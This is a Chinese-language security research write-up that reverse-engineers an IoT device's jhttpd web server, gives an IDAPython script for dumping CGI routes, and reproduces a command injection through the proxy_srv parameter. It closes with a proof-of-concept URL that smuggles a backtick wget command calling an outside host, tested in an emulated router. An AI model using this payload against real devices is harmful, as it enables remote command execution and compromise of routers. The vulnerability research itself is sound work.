前言
IOT设备中有很多WebServer,如httpd,thttpd和Boa以及jhttpd等,更多时候我们都是通过分析这些来获取这些WerbServer来做白盒的审计,这次我将的是某设备的jhttpd的分析到实现漏洞挖掘及复现
1.jhttpd分析
使用Ghidra直接导入直接通过其功能找到相应的main函数,从main函数引入
然后通过相关代码发现了,负责对内存管理功能mem_init_fun()
和初始化的服务类型功能httpd_find_type2_init();
,
再往下跟进分析就是对http可以访问的请求以及对应的函数处理:httpd_file_init、httpd_file_ext_init、httpd_cgi_ext_init
进入到httpd_file_init
中,该函数主要目的即是初始化与http文件相关的哈希表,通过for循环三个全局哈希表gl_vfile_ext_hash、gl_file_hash 和 gl_cgi_ext_hash
。这些哈希表用于存储文件扩展名、文件和 CGI 脚本的映射关系,再初始化httpd_all_file
结构体,存储服务器上可用文件列表,用do-while循环进行遍历,以便在处理客户端请求,其余httpd_file_ext_init
、httpd_cgi_ext_init
也包含相应的信息
接下来就是对服务的初始化,当http请求的东西初始化完调用httpd_sever_init
开始监听80端口
初始化一个简单的HTTP服务器,包括创建套接字、设置套接字选项、绑定地址和端口以及开始监听连接请求,该函数接受三个参数:服务器的地址信息,端口号,服务器最大连接数,然后创建一个TCP套接字(socket):使用socket()函数创建一个TCP套接字,并将其存储在变量v6中。如果套接字创建失败,输出错误信息并返回-1。并且设置套接字为非阻塞模式:使用setnonblocking()函数将创建的套接字设置为非阻塞模式。然后准备套接字地址信息:将地址族(AF_INET,即IPv4)存储在变量v10的第一个元素中。将端口号a2进行字节序转换后存储在变量v10的第二个元素中。之后绑定套接字:使用setsockopt()函数设置套接字的SO_REUSEADDR选项,以便在关闭后立即重新使用套接字。使用bind()函数将套接字与本地地址和端口绑定。如果绑定失败,尝试最多10次重试。如果仍然失败,输出错误信息并返回-1。最后监听连接:使用listen()函数开始监听传入的连接请求。如果监听失败,输出错误信息并返回-1。如果一切正常,输出"httpd_sever_init ipv4 ok",并返回0表示成功。
初始化一个用于处理HTTP请求的轮询机制,包括将套接字添加到轮询数组中并初始化相关变量。这为后续处理HTTP请求提供了基础设施
初始化之后到了使用该http_poll函数开始处理用户的http请求
追溯到该处可以看出该函数主要用于处理 HTTP 服务器中的套接字事件,包括接受新连接、读取数据、发送数据和关闭连接等操作
由此可以知道处理连接接受数据的httpd_do_recv
可能为http请求直接跟入,查看到该处代码GET请求的处理方式
调用memcmp()函数比对GET字符串,匹配成功调用调用·httpd_dowith_get
函数处理 GET 请求,并返回结果。
查看到该处代码POST请求的处理方式,依旧是调用memcmp()函数进行POST字符串匹配,当正常执行到LABEL_46对调用 httpd_do_wwwparm函数处理表单数据最后结束http关闭连接
如上述所说为整个完整的web服务,接下里便是分析内存地址中,将需要CGI函数信息利用脚本将接口dump进行对路径和函数的匹对,使用以下脚本,使用idapython将接口dump出
from idaapi import *
host = "http://127.0.0.2/"
def ReadStr(addr):
res = ''
while True:
ch = get_byte(addr)
if ch == 0:
break
res += chr(ch)
addr+=1
return res
class dump(object):
def __init__(self):
pass
def http_cgi_all_fun(self):
print("start")
httpd_cgi_all_fun_addr = 0x6b0000
cgi_name = get_32bit(httpd_cgi_all_fun_addr+3*4)
while httpd_cgi_all_fun_addr < 0x4801000:
cgi_name = get_32bit(httpd_cgi_all_fun_addr+3*4)
if cgi_name != 0:
data = get_bytes(httpd_cgi_all_fun_addr,0x14)
data = list(struct.unpack("<"+"I"*5,data))
data[3] = host+ReadStr(data[3])
data.append(get_ea_name(data[4]))
data[4]=hex(data[4])
print(data)
httpd_cgi_all_fun_addr += 0x14
print("end")
dump_obj = dump()
dump_obj.http_cgi_all_fun()
命令执行
通过对jhl_system()函数的查找找到了一个接口sub_47EAE8,然后从dump出来映射路由中找到一个函数对应进行分析
分析该函数为:v14 = httpd_get_parm(a1, "proxy_srv");:从HTTP请求中获取proxy_srv参数的值,并将其存储在变量v14中。 nvram_set("proxy_srv", v14);:如果proxy_srv参数的值与当前NVRAM中的默认值不同,则更新NVRAM中的proxy_srv设置。在函数的后续部分,proxy_srv变量被用作snprintf函数的参数之一,用于构造一个名为proxy_client的系统命令。这个命令未过滤将传递给jhl_system()函数以执行。
漏洞复现
这里笔者通过使用FirmAE或者qume进行仿真模拟一个环境路由进行复现
http://192.168.0.1/proxy_client.asp?proxy_srv=111`wget%20http%3a%2f%2f192.168.0.2%3a9999%2f11`&proxy_srvport=2&proxy_srvport=1&proxy_lanip=127.0.0.1&proxy_lanport=8080&proxy_en=1
使用一个能通仿真环境的系统起一个python脚本的web服务使用以上poc进行测试,发现该poc进行测试时该web服务确实被访问